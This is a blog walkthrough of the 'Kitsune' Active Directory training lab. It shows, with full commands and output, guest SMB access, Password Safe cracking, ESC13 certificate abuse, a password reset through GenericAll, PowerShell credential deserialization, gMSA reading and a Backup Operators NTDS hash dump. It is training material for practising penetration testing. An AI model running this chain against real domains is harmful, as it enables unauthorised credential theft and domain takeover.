boto@redteam:~/blog/hsm/kitsune$

cd .. Blog

Hack Smarter : Kitsune

EasyWindows - Active DirectoryADCSDeserializationBackup-Operator-Abuse

Overview

Kitsune is an easy Active Directory environment authored by xjr (the goat), it features a single domain controller, password safe database, ESC13 to Helpdesk, powershell object deserialization and Backup Operators abuse to dump NTDS.


Objective

You have been hired to perform an internal pentest against the client’s Domain Controller. Your task is to identify all vulnerabilities and (if possible) fully compromise the Domain.

Initial Access

The client has provided you with VPN access to their environment, but no other information.


Recon

Initial enumeration revealed the host running the usual Active Directory service with no Web application running that could have acted as a first target for foothold.

rustscan -a 10.1.205.77 --ulimit 5000 -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
:earth_africa:HACK THE PLANET:earth_africa:

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.1.205.77:53
Open 10.1.205.77:88
Open 10.1.205.77:139
Open 10.1.205.77:135
Open 10.1.205.77:389
Open 10.1.205.77:445
Open 10.1.205.77:464
Open 10.1.205.77:593
Open 10.1.205.77:636
Open 10.1.205.77:3268
Open 10.1.205.77:3269
Open 10.1.205.77:3389
Open 10.1.205.77:5985
Open 10.1.205.77:9389
Open 10.1.205.77:49669
Open 10.1.205.77:49666
Open 10.1.205.77:49664
Open 10.1.205.77:49672
Open 10.1.205.77:49671
Open 10.1.205.77:49692
Open 10.1.205.77:49704
Open 10.1.205.77:49703
Open 10.1.205.77:49734
[~] Starting Script(s)

Without initial credentials, I decided to first test ‘Guest’ without a password to authenticate into SMB, which indeed did work, allowing us to enumerate the SMB shares.

nxc smb 10.1.205.77 -u 'Guest' -p '' --shares
SMB         10.1.205.77     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:kitsune.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.205.77     445    DC01             [+] kitsune.local\Guest:
SMB         10.1.205.77     445    DC01             [*] Enumerated shares
SMB         10.1.205.77     445    DC01             Share           Permissions     Remark
SMB         10.1.205.77     445    DC01             -----           -----------     ------
SMB         10.1.205.77     445    DC01             ADMIN$                          Remote Admin
SMB         10.1.205.77     445    DC01             C$                              Default share
SMB         10.1.205.77     445    DC01             Files           READ            Global file share
SMB         10.1.205.77     445    DC01             IPC$            READ            Remote IPC
SMB         10.1.205.77     445    DC01             NETLOGON                        Logon server share
SMB         10.1.205.77     445    DC01             SYSVOL                          Logon server share

The Files share did seem like the most promising lead here, so I explored the directory and downloaded its contents with smbclient.py.

smbclient.py 'kitsune.local/Guest:@10.1.205.77'
Impacket v0.14.0.dev0+20260910.163155.6c9907e2 - Copyright Fortra, LLC and its affiliated companies

Password: #just press enter, empty password
Type help for list of commands
# ls
[-] No share selected
# cd Files
[-] No share selected
# use Files
# ls
drw-rw-rw-          0  Tue Oct 13 00:08:20 2026 .
drw-rw-rw-          0  Thu Oct 15 06:49:47 2026 ..
-rw-rw-rw-       3190  Tue Oct 13 00:08:21 2026 10-11-Calendar_October.pdf
-rw-rw-rw-       4076  Tue Oct 13 00:10:23 2026 10-11-Financial_Report.pdf
-rw-rw-rw-       3854  Tue Oct 13 00:10:27 2026 10-11-Timesheet.pdf
-rw-rw-rw-        840  Mon Oct 12 23:10:05 2026 logins.psafe3
# mget *
[*] Downloading 10-11-Calendar_October.pdf
[*] Downloading 10-11-Financial_Report.pdf
[*] Downloading 10-11-Timesheet.pdf
[*] Downloading logins.psafe3
# exit

Cracking The PSafe Masterkey

The logins.psafe3 file caught my eye first so I decided to try and crack it by first converting it into crackable hash for john with pwsafe2john.

❯ pwsafe2john logins.psafe3 > Jhash.txt

❯ john --wordlist=/usr/share/wordlists/rockyou.txt Jhash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 327680 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hellokitty       (login)
1g 0:00:00:29 DONE (2026-10-22 13:44) 0.03423g/s 210.3p/s 210.3c/s 210.3C/s 123456..iheartyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then to actually read the passwords with the recovered master password I downloaded the passwordsafe package from apt.

sudo apt install passwordsafe

Accessing The Passwords & Enumerating The AD

We can run pwsafe logins.psafe3 to enter our master password hellokitty then we can access the passwords from the UI via the edit feature.

Password Safe credentials

So I recovered three passwords R@nch2026! for the user ranch, they had an email point to the kitsune.local domain, meaning they were highly likely a user on the Active Directory environment, then I#zmE{z[n3HM as the duo login [admin] password, I was unsure what that was so I just added it for potential spraying. The last password was a%KlRhqbuRgL for the root SQL user.

Thus I decided to first try ranch:R@nch2026! to authenticate into SMB, and it indeed worked, allowing me to enumerate usernames on the AD.

 nxc smb 10.1.205.77 -u 'ranch' -p 'R@nch2026!' --users-export users.txt
SMB         10.1.205.77     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:kitsune.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.205.77     445    DC01             [+] kitsune.local\ranch:R@nch2026!
SMB         10.1.205.77     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.1.205.77     445    DC01             Administrator                 2026-10-12 20:49:49 0       Built-in account for administering the computer/domain
SMB         10.1.205.77     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.1.205.77     445    DC01             krbtgt                        2026-10-12 08:21:41 0       Key Distribution Center Service Account
SMB         10.1.205.77     445    DC01             ranch                         2026-10-12 20:49:29 0
SMB         10.1.205.77     445    DC01             schlop                        2026-10-18 04:01:44 0       schlop show
SMB         10.1.205.77     445    DC01             pebble                        2026-10-13 02:36:32 0
SMB         10.1.205.77     445    DC01             ross                          2026-10-13 00:36:27 0
SMB         10.1.205.77     445    DC01             protagonist                   2026-10-13 00:37:06 0
SMB         10.1.205.77     445    DC01             [*] Enumerated 8 local users: KITSUNE
SMB         10.1.205.77     445    DC01             [*] Writing 8 local users to users.txt

Furthermore I decided to use bloodyAD to get an ingestion into bloodhound.

bloodyAD --host DC01.ktsune.local -d kitsune.local --dc-ip 10.1.205.77 -u 'ranch' -p 'R@nch2026!' get bloodhound
[+] Connecting to LDAP server
[+] Connected to LDAP serrver
Dumping schema: 2it [00:00,  2.42it/s]
Generating lookuptable: 86it [00:01, 46.99it/s]
Dumping SDs: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 90/90 [00:15<00:00,  5.66it/s]
Dumping domains: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  2.05it/s]
Dumping users: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 8/8 [00:00<00:00, 42.37it/s]
Dumping computers: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00, 11.10it/s]
Dumping groups: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 53/53 [00:00<00:00, 227.46it/s]
Dumping GPOs: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00, 11.41it/s]
Dumping OUs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  5.39it/s]
Dumping Containers: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 19/19 [00:00<00:00, 79.41it/s]
[+] Bloodhound data saved to 20261022T174956_Bloodhound.zip
[+] Found 0 trusts

However, ranch didn’t have any outbounds controls or other writes that could lead to compromising another user for lateral movement, so I decided to check ADCS for potentially vulnerable Certificate Templates which revealed that ranch can perform ESC13 with a cert linked to the Helpdesk group.

❯ certipy-ad find -u ranch -p 'R@nch2026!' -dc-ip 10.1.205.77 -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'kitsune-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'kitsune-DC01-CA'
[*] Checking web enrollment for CA 'kitsune-DC01-CA' @ 'DC01.kitsune.local'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : kitsune-DC01-CA
    DNS Name                            : DC01.kitsune.local
    Certificate Subject                 : CN=kitsune-DC01-CA, DC=kitsune, DC=local
    Certificate Serial Number           : 23E87814E94E648848405CFD9514BD14
    Certificate Validity Start          : 2026-10-12 21:14:31+00:00
    Certificate Validity End            : 2125-10-12 21:24:31+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : KITSUNE.LOCAL\Administrators
      Access Rights
        ManageCa                        : KITSUNE.LOCAL\Administrators
                                          KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Enterprise Admins
        ManageCertificates              : KITSUNE.LOCAL\Administrators
                                          KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Enterprise Admins
        Enroll                          : KITSUNE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : Kitsune-User
    Display Name                        : Kitsune-User
    Certificate Authorities             : kitsune-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Template Created                    : 2026-10-12T22:12:00+00:00
    Template Last Modified              : 2026-10-13T00:52:56+00:00
    Issuance Policies                   : 1.3.6.1.4.1.311.21.8.10863307.14988779.16010669.3757508.10421200.134.6077557.15214621
    Linked Groups                       : CN=HelpDesk,CN=Users,DC=kitsune,DC=local
    Permissions
      Enrollment Permissions
        Enrollment Rights               : KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Domain Users
                                          KITSUNE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : KITSUNE.LOCAL\Administrator
        Full Control Principals         : KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Enterprise Admins
        Write Owner Principals          : KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Enterprise Admins
        Write Dacl Principals           : KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Enterprise Admins
        Write Property Enroll           : KITSUNE.LOCAL\Domain Admins
                                          KITSUNE.LOCAL\Domain Users
                                          KITSUNE.LOCAL\Enterprise Admins
    [+] User Enrollable Principals      : KITSUNE.LOCAL\Domain Users
    [!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=HelpDesk,CN=Users,DC=kitsune,DC=local'.

Now I referenced the certipy wiki to correctly perform ESC13.

❯ certipy req -u 'ranch@dc01.kitsune.local' -p 'R@nch2026!' -dc-ip 10.1.205.77 -ca 'kitsune-DC01-CA' -template 'Kitsune-User' -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.1.205.77'
[+] DC IP: '10.1.205.77'
[+] DC Host: 'DC01.KITSUNE.LOCAL'
[+] Target IP: None
[+] Remote Name: 'DC01.KITSUNE.LOCAL'
[+] Domain: 'DC01.KITSUNE.LOCAL'
[+] Username: 'RANCH'
[+] Trying to resolve 'DC01.KITSUNE.LOCAL' at '10.1.205.77'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.1.205.77[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.1.205.77[\pipe\cert]
[*] Request ID is 19
[-] Got error while requesting certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template.
Would you like to save the private key? (y/N): y
[*] Saving private key to '19.key'
[+] Attempting to write data to '19.key'
[+] Data written to '19.key'
[*] Wrote private key to '19.key'
[-] Failed to request certificate

Look at that error though, “The public key does not meet the minimum size required by the specified certificate template.”, this meant that certipy was generating a key too small for the certificate template requirements. The fix was simple, just specify a larger keysize when requesting the certificate.

❯ certipy req -u 'ranch@dc01.kitsune.local' -p 'R@nch2026!' -dc-ip 10.1.205.77 -ca 'kitsune-DC01-CA' -template 'Kitsune-User' -key-size 4096 -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '10.1.205.77'
[+] DC IP: '10.1.205.77'
[+] DC Host: 'DC01.KITSUNE.LOCAL'
[+] Target IP: None
[+] Remote Name: 'DC01.KITSUNE.LOCAL'
[+] Domain: 'DC01.KITSUNE.LOCAL'
[+] Username: 'RANCH'
[+] Trying to resolve 'DC01.KITSUNE.LOCAL' at '10.1.205.77'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.1.205.77[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.1.205.77[\pipe\cert]
[*] Request ID is 21
[*] Successfully requested certificate
[*] Got certificate with UPN 'ranch@kitsune.local'
[+] Found SID in security extension: 'S-1-5-21-3773590124-4237107295-2360938966-1103'
[*] Certificate object SID is 'S-1-5-21-3773590124-4237107295-2360938966-1103'
[*] Saving certificate and private key to 'ranch.pfx'
[+] Attempting to write data to 'ranch.pfx'
[+] Data written to 'ranch.pfx'
[*] Wrote certificate and private key to 'ranch.pfx'

With the .pfx acquired we can authenticate with the certificate and then use the TGT we get to have the same writes as the Helpdesk group.

❯ certipy auth -pfx ranch.pfx -dc-ip 10.1.205.77
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'ranch@kitsune.local'
[*]     Security Extension SID: 'S-1-5-21-3773590124-4237107295-2360938966-1103'
[*] Using principal: 'ranch@kitsune.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ranch.ccache'
[*] Wrote credential cache to 'ranch.ccache'
[*] Trying to retrieve NT hash for 'ranch'
[*] Got hash for 'ranch@kitsune.local': aad3b435b51404eeaad3b435b51404ee:47d29308446189faa2acec65586963c1

I confirmed the writes with get writable on bloodyAD.

❯ bloodyAD --host DC01.kitsune.local -d kitsune.local --dc-ip 10.1.205.77 -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=kitsune,DC=local
permission: WRITE

distinguishedName: CN=ranch,CN=Users,DC=kitsune,DC=local
permission: WRITE

distinguishedName: CN=schlop,CN=Users,DC=kitsune,DC=local
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

distinguishedName: DC=kitsune.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=kitsune,DC=local
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.kitsune.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=kitsune,DC=local
permission: CREATE_CHILD

User Flag

GenericAll on schlop would allow us to reset his password and then access WinRM as part of the Remote Management Group and explore the files on the server.

bloodyAD --host DC01.kitsune.local -d kitsune.local --dc-ip 10.1.205.77 -k set password schlop 'Schlop123'
[+] Password changed successfully!
❯ evil-winrm-py -i 10.1.205.77 -u Schlop -p 'Schlop123'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.7.0

[*] Connecting to '10.1.205.77:5985' as 'Schlop'
evil-winrm-py PS C:\Users\schlop\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\schlop\Desktop> type user.txt
  ,-.       _,---._ __  / \
 /  )    .-'       `./ /   \
(  (   ,'            `/    /|
 \  `-"             \'\   / |
  `.              ,  \ \ /  |
   /`.          ,'-`----Y   |
  (            ;        |   '
  |  ,-.    ,-'         |  /
  |  | (   |       yay! | /
  )  |  \  `.___________|/
  `--'   `--'

HSM{<flag here>}

Then I looked back on bloodhound, there was svc_gmsa account that is part of the Backup Operators group, if I could read the account’s password then I can dump hashes with the backup-operator module from nxc.

❯ nxc ldap 10.1.205.77 -u 'schlop' -p 'Schlop123' --gmsa
LDAP        10.1.205.77     389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:kitsune.local) (signing:Enforced) (channel binding:Never)
LDAP        10.1.205.77     389    DC01             [+] kitsune.local\schlop:Schlop123
LDAP        10.1.205.77     389    DC01             [*] Getting GMSA Passwords
LDAP        10.1.205.77     389    DC01             Account: svc_gmsa$            NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: IT

Though schlop, couldn’t read it as they weren’t in the IT group, so I quickly checked who was there in that group and it appeared that pebble was the only member in the group.


Deserializing The Cred File

I went back into my WinRM session and checked for anything that could get me access to pebble, there appeared to be a .cred file for pebble in schlop’s documents.

❯ evil-winrm-py -i 10.1.205.77 -u Schlop -p 'Schlop123'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.7.0

[*] Connecting to '10.1.205.77:5985' as 'Schlop'
evil-winrm-py PS C:\Users\schlop\Documents> dir


    Directory: C:\Users\schlop\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/13/2026   2:37 AM           1770 networkAuth.cred


evil-winrm-py PS C:\Users\schlop\Documents> cat networkAuth.cred
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">pebble</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000015eb4da53276741952d904a69c440310000000002000000000010660000000100002000000041903d6d7ae4fa86dd56bfe8741f4a15c9e2226d386f88f6aec7f15a5779f3e6000000000e8000000002000020000000b3604d46abd67313eb9a551d3b289c48c922bada4680807c9b7556e0633f19b920000000ae67f87d8559a61c20268cde4649e3538e0c15a7e7153c33e2fc6f7b13c713a44000000064462a2ea8ee6b2bccf09125fa86779431d4ccea0c9a30f2a325239c4199e26982ae745497a01016f90238173a2eb540b47410a39f97e8cb89c8d3ca14bcc8d7</SS>
    </Props>
  </Obj>
</Objs>

This appeared to be a serialized powershell object, meaning we can retrieve the plain text password by deserializing the object.

evil-winrm-py PS C:\Users\schlop\Documents> $myObject = Import-Clixml -Path "C:\Users\schlop\Documents\networkAuth.cred"
evil-winrm-py PS C:\Users\schlop\Documents> type $myObject
Cannot find path 'C:\Users\schlop\Documents\System.Management.Automation.PSCredential' because it does not exist.
evil-winrm-py PS C:\Users\schlop\Documents> $plainPassword = $myObject.GetNetworkCredential().Password
evil-winrm-py PS C:\Users\schlop\Documents> type $plainPassword
Cannot find path 'C:\Users\schlop\Documents\PebbleIs47!' because it does not exist.
evil-winrm-py PS C:\Users\schlop\Documents> exit

I suppose I did it somewhat incorrectly as it tried to access the revealed password PebbleIs47! as a path, the correct way would be:

$Credential = Import-Clixml -Path "C:\path\to\your\file.xml"
$Credential.GetNetworkCredential().Password

Read GMSA Password & Dump Hashes

From there on it is a quite simple path to Administrator by reading the gmsa hash via ldap, then using the backup_operator module to dump the hashes for us.

❯ nxc ldap 10.1.205.77 -u pebble -p 'PebbleIs47!' --gmsa
LDAP        10.1.205.77     389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:kitsune.local) (signing:Enforced) (channel binding:Never)
LDAP        10.1.205.77     389    DC01             [+] kitsune.local\pebble:PebbleIs47!
LDAP        10.1.205.77     389    DC01             [*] Getting GMSA Passwords
LDAP        10.1.205.77     389    DC01             Account: svc_gmsa$            NTLM: 085691c182d60ab1a12466ce7b50d29d     PrincipalsAllowedToReadPassword: IT
❯ nxc smb 10.1.205.77 -u 'svc_gmsa$' -H 085691c182d60ab1a12466ce7b50d29d -M backup_operator
SMB         10.1.205.77     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:kitsune.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.205.77     445    DC01             [+] kitsune.local\svc_gmsa$:085691c182d60ab1a12466ce7b50d29d
BACKUP_O... 10.1.205.77     445    DC01             [*] Triggering RemoteRegistry to start through named pipe...
BACKUP_O... 10.1.205.77     445    DC01             Saved HKLM\SAM to \\10.1.205.77\SYSVOL\SAM
BACKUP_O... 10.1.205.77     445    DC01             Saved HKLM\SYSTEM to \\10.1.205.77\SYSVOL\SYSTEM
BACKUP_O... 10.1.205.77     445    DC01             Saved HKLM\SECURITY to \\10.1.205.77\SYSVOL\SECURITY
SMB         10.1.205.77     445    DC01             [*] Copying "SAM" to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SAM"
SMB         10.1.205.77     445    DC01             [+] File "SAM" was downloaded to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SAM"
SMB         10.1.205.77     445    DC01             [*] Copying "SECURITY" to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SECURITY"
SMB         10.1.205.77     445    DC01             [+] File "SECURITY" was downloaded to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SECURITY"
SMB         10.1.205.77     445    DC01             [*] Copying "SYSTEM" to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SYSTEM"
SMB         10.1.205.77     445    DC01             [+] File "SYSTEM" was downloaded to "/home/kali/.nxc/logs/DC01_10.1.205.77_2026-10-22_144515.SYSTEM"
BACKUP_O... 10.1.205.77     445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dffec5d0dda0cbc8bf571471641e001:::
BACKUP_O... 10.1.205.77     445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.1.205.77     445    DC01             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 10.1.205.77     445    DC01             KITSUNE\DC01$:aes256-cts-hmac-sha1-96:54fa75afbd2c8ebc0a7c66d12d6658135ff7cccd6308c6f252d5650ecf3d6142
BACKUP_O... 10.1.205.77     445    DC01             KITSUNE\DC01$:aes128-cts-hmac-sha1-96:98aee140894c50fc6b9df1f8f45c6bc0
BACKUP_O... 10.1.205.77     445    DC01             KITSUNE\DC01$:des-cbc-md5:7054e68cadc1e951
BACKUP_O... 10.1.205.77     445    DC01             KITSUNE\DC01$:plain_password_hex:dec5c211d4babd91e437304c43c778d6de456ecc929c4814883425cf929e33d9eb7d6d0147c801d263a5467ccf340b2b03dcb1c83a5bad6c7ee81391acf12a9c9b4159c736d32c68e301f35a66536423d3ae3416bbde25d75d79755a63c0b4513ebcae2988d8184eb9ab4927901ec4b09e2f1bb861f06474556cff298c08e4be1d38a0b5862d90920def2e5fc1c664adad34b4f2a31f5139cdba68129fe89b70dde6aac1f3e1f818fe6b8ebc70604c27354432e8e7e7970e3f463d0f92919d58ebbd328d52a9edc1eee7cbcec9a18f0cbb718ec6a273a568c76b630a84a820a8a3f467da2f6e4a31021b03b58ccbb021
BACKUP_O... 10.1.205.77     445    DC01             KITSUNE\DC01$:aad3b435b51404eeaad3b435b51404ee:051ab8df98778de210183fd864020f45:::
BACKUP_O... 10.1.205.77     445    DC01             dpapi_machinekey:0x2d3f243818d41c56a5d560c6f9e8e8e91c63cc7e
dpapi_userkey:0xdbc4e9db99118d5c9bbfa64d0ca5c065bfa814b5
BACKUP_O... 10.1.205.77     445    DC01             NL$KM:d6f91ebe2095216a88221f5c92ce2c8abbcf2c385953a43aefa003daeaa5a8cf0e6f9192023e5b4540e2c7a8d5da8b116d776b5f3f7848120fbfa8ce06c2c67c
SMB         10.1.205.77     445    DC01             [+] kitsune.local\Administrator:2dffec5d0dda0cbc8bf571471641e001 (Pwn3d!)
BACKUP_O... 10.1.205.77     445    DC01             [*] Dumping NTDS...
SMB         10.1.205.77     445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.1.205.77     445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dffec5d0dda0cbc8bf571471641e001:::
SMB         10.1.205.77     445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.1.205.77     445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d1c9d31dc9ece5e96fc344c85782ba93:::
SMB         10.1.205.77     445    DC01             kitsune.local\ranch:1103:aad3b435b51404eeaad3b435b51404ee:47d29308446189faa2acec65586963c1:::
SMB         10.1.205.77     445    DC01             kitsune.local\schlop:1105:aad3b435b51404eeaad3b435b51404ee:3423d3349a838cd7d20ea806f900025b:::
SMB         10.1.205.77     445    DC01             kitsune.local\pebble:1106:aad3b435b51404eeaad3b435b51404ee:b83abecf382a399ee1885f72a596d2d3:::
SMB         10.1.205.77     445    DC01             kitsune.local\ross:1107:aad3b435b51404eeaad3b435b51404ee:3f48c34a06f664d675b41282e7606ed7:::
SMB         10.1.205.77     445    DC01             kitsune.local\protagonist:1108:aad3b435b51404eeaad3b435b51404ee:3f48c34a06f664d675b41282e7606ed7:::
SMB         10.1.205.77     445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:051ab8df98778de210183fd864020f45:::
SMB         10.1.205.77     445    DC01             svc_gmsa$:1602:aad3b435b51404eeaad3b435b51404ee:085691c182d60ab1a12466ce7b50d29d:::
SMB         10.1.205.77     445    DC01             [+] Dumped 10 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.1.205.77_2026-10-22_144515.ntds of which 8 were added to the database
SMB         10.1.205.77     445    DC01             [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.1.205.77     445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.1.205.77_2026-10-22_144515.ntds | cut -d ':' -f1
BACKUP_O... 10.1.205.77     445    DC01             [*] Cleaning dump with user Administrator and hash 2dffec5d0dda0cbc8bf571471641e001 on domain kitsune.local
BACKUP_O... 10.1.205.77     445    DC01             [*] Successfully deleted dump files !

Simply use evil-winrm with the Admin hash and fetch the root flag, successfully compromising the domain.

❯ evil-winrm-py -i 10.1.205.77 -u Administrator -H '2dffec5d0dda0cbc8bf571471641e001'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.7.0

[*] Connecting to '10.1.205.77:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
......................................................................
......................................................................
......................................................................
................................-%@@%-................................
.............................:%@@@@@@@@%:.............................
............................*@@@@@@@@@@@@#............................
...........................%@@@@@@@@@@@@@@@...........................
..........................@@@@@@@@@@@@@@@@@@:.........................
.........................@@@@@%#=-::-=#%@@@@@:........................
........................#@%+-=++=:..:=+++-=%@#........................
.......................=@%@@@-..:*@@#:..-@@@@@+.......................
.......................#@@@@##:::%--%:::##@@@@#.......................
.......................-@@@@+.:::....:::.+@@@@-.......................
........................:@@@@-..........-@@@@:........................
.......................-##*@@@#........#@@@*##=.......................
....................-@@@@@@@@@@@@-....................
...................%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%...................
..................%@@@=------------------------=@@@%..................
.................*@@@#..........................%@@@+.................
.................@@@@@..........................@@@@@.................
................+@@@@@:..........*@@#..........:@@@@@+................
................#@@@@@=..........:@@-..........=@@@@@#................
................*@@@@@*........ranch...........*@@@@@*................
......................%.......obtained.........@......................
......................=@@@@@@@@@@@@@@@@@@@@@@@@=......................
......................................................................

HSM{<flag here>}